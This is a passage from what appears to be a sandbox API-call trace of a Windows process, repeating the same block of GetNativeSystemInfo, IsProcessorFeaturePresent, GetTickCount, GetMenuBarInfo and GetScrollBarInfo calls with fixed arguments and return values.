psbi=0x0 | out: psbi=0x0) returned 0 [0096.123] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.123] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.123] GetTickCount () returned 0x4671 [0096.123] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.123] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.123] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.123] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.123] GetTickCount () returned 0x4671 [0096.123] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.123] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.123] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.123] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.124] GetTickCount () returned 0x4671 [0096.124] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.124] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.124] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.124] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.124] GetTickCount () returned 0x4671 [0096.124] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.124] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.124] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.124] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.124] GetTickCount () returned 0x4671 [0096.124] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.124] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.124] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.124] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.124] GetTickCount () returned 0x4671 [0096.124] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.124] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.124] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.124] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.124] GetTickCount () returned 0x4671 [0096.124] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.124] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.124] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.125] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.125] GetTickCount () returned 0x4671 [0096.125] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.125] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.125] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.125] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.125] GetTickCount () returned 0x4671 [0096.125] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.125] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.125] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.125] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.125] GetTickCount () returned 0x4671 [0096.125] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.125] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.125] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.125] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.125] GetTickCount () returned 0x4671 [0096.125] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.125] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.125] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.125] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.125] GetTickCount () returned 0x4671 [0096.125] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.125] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.126] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.126] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.126] GetTickCount () returned 0x4671 [0096.126] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.126] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.126] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.126] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.126] GetTickCount () returned 0x4671 [0096.126] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.126] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.126] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.126] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.126] GetTickCount () returned 0x4671 [0096.126] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.126] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.126] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.126] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.126] GetTickCount () returned 0x4671 [0096.126] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.126] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.126] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.126] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.126] GetTickCount () returned 0x4671 [0096.126] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.127] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.127] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.127] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.127] GetTickCount () returned 0x4671 [0096.127] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.127] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.127] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.127] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.127] GetTickCount () returned 0x4671 [0096.127] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.127] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.127] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.127] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.127] GetTickCount () returned 0x4671 [0096.127] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.127] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.127] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.127] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.127] GetTickCount () returned 0x4671 [0096.127] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.127] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.127] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.127] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.128] GetTickCount () returned 0x4671 [0096.128] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.128] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.128] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.128] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.128] GetTickCount () returned 0x4671 [0096.128] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.128] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.128] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.128] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.128] GetTickCount () returned 0x4671 [0096.128] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.128] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.128] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.128] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.128] GetTickCount () returned 0x4671 [0096.128] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.128] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.128] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.128] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.128] GetTickCount () returned 0x4671 [0096.128] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.128] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.128] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.129] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.129] GetTickCount () returned 0x4671 [0096.129] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.129] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.129] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.129] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.129] GetTickCount () returned 0x4671 [0096.129] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.129] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.129] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.129] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.129] GetTickCount () returned 0x4671 [0096.129] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.129] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.129] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.129] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.129] GetTickCount () returned 0x4671 [0096.129] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.129] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.129] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.129] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.129] GetTickCount () returned 0x4671 [0096.129] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.129] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.129] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.130] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.130] GetTickCount () returned 0x4671 [0096.130] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.130] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.130] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.130] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.130] GetTickCount () returned 0x4671 [0096.130] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.130] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.130] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.130] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.130] GetTickCount () returned 0x4671 [0096.130] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.130] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.130] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.130] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.130] GetTickCount () returned 0x4671 [0096.130] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.130] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.130] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.130] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.130] GetTickCount () returned 0x4671 [0096.130] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.131] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.131] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, 